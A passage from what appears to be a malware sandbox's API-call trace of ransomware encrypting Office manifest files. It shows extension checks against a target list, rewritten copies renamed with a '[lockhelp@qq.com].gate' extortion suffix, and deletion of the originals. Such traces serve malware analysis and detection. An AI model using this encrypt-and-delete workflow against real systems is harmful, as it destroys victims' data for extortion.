-1 [0124.517] lstrlenW (lpString=".pdf") returned 4 [0124.517] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.517] lstrlenW (lpString=".xls") returned 4 [0124.517] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.517] lstrlenW (lpString=".xlsx") returned 5 [0124.517] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.517] lstrlenW (lpString=".ppt") returned 4 [0124.517] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.517] lstrlenW (lpString=".zip") returned 4 [0124.517] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.517] lstrlenW (lpString=".rar") returned 4 [0124.517] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.517] lstrlenW (lpString=".bz2") returned 4 [0124.517] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.517] lstrlenW (lpString=".7z") returned 3 [0124.518] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.518] lstrlenW (lpString=".dbf") returned 4 [0124.518] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.518] lstrlenW (lpString=".1cd") returned 4 [0124.518] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.518] lstrlenW (lpString=".jpg") returned 4 [0124.518] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.518] lstrlenW (lpString=".doc") returned 4 [0124.518] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.518] lstrlenW (lpString=".docx") returned 5 [0124.518] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.518] lstrlenW (lpString=".pdf") returned 4 [0124.518] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.518] lstrlenW (lpString=".xls") returned 4 [0124.518] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.518] lstrlenW (lpString=".xlsx") returned 5 [0124.518] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.519] lstrlenW (lpString=".ppt") returned 4 [0124.519] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.519] lstrlenW (lpString=".zip") returned 4 [0124.519] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.519] lstrlenW (lpString=".rar") returned 4 [0124.519] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.519] lstrlenW (lpString=".bz2") returned 4 [0124.519] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.519] lstrlenW (lpString=".7z") returned 3 [0124.519] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.519] lstrlenW (lpString=".dbf") returned 4 [0124.519] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.519] lstrlenW (lpString=".1cd") returned 4 [0124.519] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0124.519] lstrlenW (lpString=".jpg") returned 4 [0124.519] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.519] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0124.519] lstrlenW (lpString="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 53 [0124.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0124.520] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0124.520] CloseHandle (hObject=0x314) returned 1 [0124.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 0x220 [0124.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0124.520] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0124.520] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0124.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0124.520] GetLastError () returned 0x0 [0124.521] ReadFile (in: hFile=0x314, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0124.874] WriteFile (in: hFile=0x348, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0124.875] ReadFile (in: hFile=0x314, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0124.875] WriteFile (in: hFile=0x348, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0124.875] SetEndOfFile (hFile=0x348) returned 1 [0125.321] CloseHandle (hObject=0x348) returned 1 [0125.324] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.324] SetEndOfFile (hFile=0x314) returned 1 [0125.325] CloseHandle (hObject=0x314) returned 1 [0125.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0125.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1 [0125.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.326] lstrlenW (lpString=".doc") returned 4 [0125.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.326] lstrlenW (lpString=".docx") returned 5 [0125.326] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.326] lstrlenW (lpString=".pdf") returned 4 [0125.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.326] lstrlenW (lpString=".xls") returned 4 [0125.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.326] lstrlenW (lpString=".xlsx") returned 5 [0125.326] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.326] lstrlenW (lpString=".ppt") returned 4 [0125.326] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.326] lstrlenW (lpString=".zip") returned 4 [0125.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.326] lstrlenW (lpString=".rar") returned 4 [0125.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.326] lstrlenW (lpString=".bz2") returned 4 [0125.326] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.326] lstrlenW (lpString=".7z") returned 3 [0125.326] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.326] lstrlenW (lpString=".dbf") returned 4 [0125.326] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.327] lstrlenW (lpString=".1cd") returned 4 [0125.327] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.327] lstrlenW (lpString=".jpg") returned 4 [0125.327] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.327] lstrlenW (lpString=".doc") returned 4 [0125.327] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.327] lstrlenW (lpString=".docx") returned 5 [0125.327] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.327] lstrlenW (lpString=".pdf") returned 4 [0125.327] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.327] lstrlenW (lpString=".xls") returned 4 [0125.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.327] lstrlenW (lpString=".xlsx") returned 5 [0125.327] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.327] lstrlenW (lpString=".ppt") returned 4 [0125.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.327] lstrlenW (lpString=".zip") returned 4 [0125.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.327] lstrlenW (lpString=".rar") returned 4 [0125.327] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.327] lstrlenW (lpString=".bz2") returned 4 [0125.327] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.327] lstrlenW (lpString=".7z") returned 3 [0125.327] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.328] lstrlenW (lpString=".dbf") returned 4 [0125.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.328] lstrlenW (lpString=".1cd") returned 4 [0125.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104 [0125.328] lstrlenW (lpString=".jpg") returned 4 [0125.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.328] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0125.328] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0125.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0125.329] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0125.329] CloseHandle (hObject=0x314) returned 1 [0125.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0125.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0125.329] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.329] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0125.333] GetLastError () returned 0x0 [0125.333] ReadFile (in: hFile=0x314, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0125.903] WriteFile (in: hFile=0x354, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0125.904] ReadFile (in: hFile=0x314, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0125.904] WriteFile (in: hFile=0x354, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0125.904] SetEndOfFile (hFile=0x354) returned 1 [0125.905] CloseHandle (hObject=0x354) returned 1 [0125.905] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.905] SetEndOfFile (hFile=0x314) returned 1 [0125.906] CloseHandle (hObject=0x314) returned 1 [0125.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0125.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0125.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.907] lstrlenW (lpString=".doc") returned 4 [0125.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.907] lstrlenW (lpString=".docx") returned 5 [0125.907] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.907] lstrlenW (lpString=".pdf") returned 4 [0125.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.908] lstrlenW (lpString=".xls") returned 4 [0125.908] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.908] lstrlenW (lpString=".xlsx") returned 5 [0125.908] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.908] lstrlenW (lpString=".ppt") returned 4 [0125.908] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.908] lstrlenW (lpString=".zip") returned 4 [0125.908] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.908] lstrlenW (lpString=".rar") returned 4 [0125.908] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.908] lstrlenW (lpString=".bz2") returned 4 [0125.908] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.908] lstrlenW (lpString=".7z") returned 3 [0125.908] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.908] lstrlenW (lpString=".dbf") returned 4 [0125.908] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.908] lstrlenW (lpString=".1cd") returned 4 [0125.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.908] lstrlenW (lpString=".jpg") returned 4 [0125.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.909] lstrlenW (lpString=".doc") returned 4 [0125.909] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.909] lstrlenW (lpString=".docx") returned 5 [0125.909] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.909] lstrlenW (lpString=".pdf") returned 4 [0125.909] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.909] lstrlenW (lpString=".xls") returned 4 [0125.909] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.909] lstrlenW (lpString=".xlsx") returned 5 [0125.909] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.909] lstrlenW (lpString=".ppt") returned 4 [0125.909] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.909] lstrlenW (lpString=".zip") returned 4 [0125.909] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.909] lstrlenW (lpString=".rar") returned 4 [0125.909] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.909] lstrlenW (lpString=".bz2") returned 4 [0125.909] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.909] lstrlenW (lpString=".7z") returned 3 [0125.909] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.909] lstrlenW (lpString=".dbf") returned 4 [0125.909] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.909] lstrlenW (lpString=".1cd") returned 4 [0125.909] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0125.910] lstrlenW (lpString=".jpg") returned 4 [0125.910] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.911] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0125.911] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0125.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0125.911] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=1261) returned 1 [0125.911] CloseHandle (hObject=0x314) returned 1 [0125.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0125.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0125.912] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.912] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0125.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0126.609] GetLastError () returned 0x0 [0126.609] ReadFile (in: hFile=0x314, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0126.658] WriteFile (in: hFile=0x38c, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0126.659] ReadFile (in: hFile=0x314, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0126.659] WriteFile (in: hFile=0x38c, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0126.659] SetEndOfFile (hFile=0x38c) returned 1 [0126.666] CloseHandle (hObject=0x38c) returned 1 [0126.666] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: 